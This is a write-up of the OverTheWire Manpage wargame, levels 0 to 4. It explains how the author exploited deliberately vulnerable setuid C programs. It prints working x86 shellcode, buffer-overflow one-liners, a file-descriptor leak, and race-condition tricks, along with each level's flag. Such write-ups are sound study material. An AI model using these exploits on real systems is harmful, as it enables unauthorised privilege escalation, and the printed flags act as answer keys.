Overthewire Manpage Wargame
Contents
Description:
This game is about breaking some common linux c-programming misconceptions. A good tactic when beginning to audit code for the first time is to read the manpages for pitfalls and unusual behavior. Many of these levels were inspired by the famous work of Ilja.
Level 0
|
|
We can get the shell with ease when we put our shellcode in the buf
when executing strcpy
and return to that address. However, the setuid( getuid() );
have taken away our privilege, we need to take it back.
|
|
The above assembly code can take our privilege back. It will execute syscall 23, which is setuid
with argument 0x4269
, which is 17001, because the id of manpage1
is 17001.
After nasm -f elf setuid.asm
, ld -m elf_i386 -s -o setuid setuid.o
, and objdump -M intel -d setuid
, we can get the shellcode "\x31\xdb\x31\xc0\xb0\x17\x66\xbb\x69\x42\xcd\x80"
We find that we need 260 bytes paddings to control EIP. In buf, we can put the setuid shellcode and the shellcode to spawn /bin/sh. With /manpage/manpage0 $(python -c 'print("\x90"*100+"\x31\xdb\x31\xc0\xb0\x17\x66\xbb\x69\x42 \xcd\x80"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69 \x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80"+"A"*120+"\xd8\xd4\xff\xff")')
, we can get the shell and the flag deesohwuno
.
Level 0 -> Level 1
|
|
In this challenge, we will trigger signal if we overflow the buffer. To pass this challenge, we need to use signal(SIGTERM, SIG_IGN);
, and we can ignore raise(SIGTERM)
.
|
|
We can find that we need 260 bytes paddings, so we put our shellcode in buf
and return to that address. We execute ./pwn $(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b \xcd\x80\x31\xc0\x40\xcd\x80"+"A"*132+"\x48\xdc\xff\xff")')
, and we can get the shell and the flag febiukovie
.
Level 1 -> Level 2
|
|
If the comparison fails, we cannot get the shell, we will lose our privilege, and the program will restart.
However, there is a bug in this program. That is, it did not close the file. What we can do is to make execl execute our own program, and we can use that program to read the opened file.
Below is the C program we are going to use to get our password. We use 3 for our file descripter (0 for stdin, 1 for stdout, 2 for stderr).
|
|
Then, we need a C program as wrapper to make argv[0]
to our own C program mentioned above, pwn
.
|
|
And finally, we can get our password ailaifeipu
.
Level 2 -> Level 3
We got manpage3
and manpage3-reset
. Here are the source code.
manpage3
|
|
manpage3-reset
|
|
There is a file called /manpage/manpage3_password
. If we got its value, we can get the shell. However, it is very hard since it has 256 bytes random value.
In this challenge, we have two solutions with similar concepts.
First, we can treat it as a race condition.
|
|
For fwrite, it needs to delete its content first and write the content to the file. If we execute /manpage3
luckily while keep executing manpage3-reset
, we can get /manpage/manpage3_password
contains an empty string.
We use ctrl-d
as input for empty string, and we can get the shell after 2 to 4 tries.
Second, we can push to the limit of fopen. We can use ulimit -n
to check how many files can the process open. If we are getting to the limit, /dev/urandom
cannot be opened, and it will write empty string to manpage3_password
. That is, we can get the same result as solution 1.
What we can do is to use this script
|
|
Although ulimit -n
gives me 1024, I use 1020 at the end because we need to give some quotas for loading shared libraries.
Finally, we can get the flag iaceigicie
.
Level 3 -> Level 4
This is a game called Hunt the Wumpus
, we have the instructions here.
|
|
We also got a file manpage4.diff
|
|
Here’s the pseudocode when we decompile the program.
We can see that it adds function log_winner
and move away static array from manpage4.diff
. It can be a hint.
At last, I found that even though there are some length restrictions in fgets
and sscanf
in log_winner
, if we can have our lastname
long enough, we can overflow EIP in sprintf
.
In function getnum
, we can pass upto 2048 bytes to inp
, it is from the address 0xffffce8c
to 0xffffd688
. And when we execute log_winner
, lastname
is at 0xffffd3a4
, so the previous content in inp
can be reserved and treat as the content of lastname
.
In fgets
of log_winner
, we pass CCCC
. Later in sscanf
, firstname
will be set to CCCC
, and lastname
will not be modified.
First, we need to find a seed which can let us win the game when we shoot 1 shot to room 1, we use this script and find seed = 22.
|
|
We put the shellcode on the environment variable export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40 \xcd\x80")')
. And its address is 0xffffdf04
.
After getting the seed number, we can get the shell by (python -c 'print("N\nS\n1\n"+"1"+"A"*1303+"A"*209+"\x04\xdf\xff\xff\n" +"CCCC\n")'; cat) | /manpage/manpage4 -s 22
. N for not show the instruction, S for shoot, first 1 for 1 room, the other 1 for room number 1, but we add lots of paddings after our room number.
We need 1303 bytes for 0xffffd3a4 - 0xffffce8c = 1304
. 1303 plus the previous “1” is 1304. In spintf
of log_winner
, the string %s firstname:%s lastname: %s\n
will be put to buf, which is at $ebp - 0x100
, ctime is 25 bytes, space for 1 byte, “firstname:” for 10 bytes, “CCCC” for 4 bytes, " lastname: " for 11 bytes, that is 51 bytes, plus 209 bytes paddings in %s from lastname, there are 260 bytes, and it cover the return address perfectly, the next 4 bytes “\x04\xdf\xff\xff” can cover up EIP.
And we can get the shell and the flag vahshaihug
.
Level 4 -> Level 5
Not done yet.
Author L3o
LastMod 2019-12-06